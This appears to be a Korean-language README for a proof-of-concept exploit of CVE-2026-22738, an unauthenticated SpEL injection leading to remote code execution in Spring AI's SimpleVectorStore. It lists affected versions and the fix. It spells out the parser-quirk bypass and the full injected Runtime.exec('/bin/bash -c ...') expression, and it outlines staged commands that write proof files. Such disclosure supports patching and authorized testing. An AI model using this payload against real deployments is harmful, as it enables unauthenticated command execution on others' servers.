
# CVE-2026-22738 개념 증명 익스플로잇 Spring AI SimpleVectorStore의 치명적인 SpEL 주입 RCE로, 인증되지 않은 OS 명령 실행을 시연합니다.
SimpleVectorStore.similaritySearch()의 Spring Expression Language(SpEL) 주입을 통한 인증 없는 원격 코드 실행.
| 아티팩트 | 취약 버전 | 수정 버전 |
|---|
org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
수정 커밋: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
SimpleVectorStore.similaritySearch()는 호출자가 제공한 필터 키 이름을 StandardEvaluationContext가 평가하는 SpEL 템플릿에 그대로 전달합니다. StandardEvaluationContext는 전체 JVM 리플렉션 API를 노출하므로, 공격자는 다음을 주입할 수 있습니다:
T(java.lang.Runtime).getRuntime().exec(...)
필터 키에 위 코드를 주입하여 인증 없는 OS 명령 실행을 달성할 수 있습니다.
단순한 주입은 기본적으로 동작하지 않습니다 — 두 가지 파서 특성을 우회해야 합니다:
'로 시작하는 키는 따옴표로 묶인 문자열로 처리됩니다. 바깥쪽 따옴표가 제거되어 페이로드가 손상됩니다."..."로 감싸면 파서가 바깥쪽 큰따옴표를 제거하고, 내부 SpEL 표현식이 #metadata['<KEY>']에 전달되는 키 값으로 그대로 남습니다.#metadata['']를 사용하면(정의되지 않은 변수 대신) unknown variable SpEL 오류를 피하면서도 exec()를 트리거할 수 있습니다.결과적으로 평가되는 표현식은 다음과 같은 형태를 갖습니다:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
HTTP 응답 본문에 EL1030E — SpEL 런타임 오류가 포함됩니다:
operator ADD not supported between null and java.lang.ProcessImpl
이 오류는 exec()가 반환된 후에 발생하므로, 대역외 콜백 없이도 OS 수준 명령 실행이 확인됩니다.
사전 요구 사항:
pip install requests
익스플로잇 실행:
python3 exploit.py [--target http://localhost:8082] [--wait]

Docker Desktop(macOS/Windows): 콜백 페이로드에는 127.0.0.1 대신 host.docker.internal을 사용하세요.
PoC는 5개의 순차적 단계를 실행합니다:
| 단계 | 설명 |
|---|---|
| 1 | 기준 확인 — 엔드포인트에 접근 가능하고 시드 데이터가 반환되는지 확인 |
| 2 | 블라인드 SpEL 프로브 — T(java.lang.System)을 통해 java.version을 읽어 주입 지점 확인 |
| 3 | RCE: 컨테이너 내부에서 touch /tmp/pwned_cve_2026_22738 실행 |
| 4 | RCE: id / uname / hostname 출력을 /tmp/rce_proof.txt에 기록 |
| 5 | docker exec로 검증 — 증명 파일 내용 출력 |
이 개념 증명은 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하지 마십시오.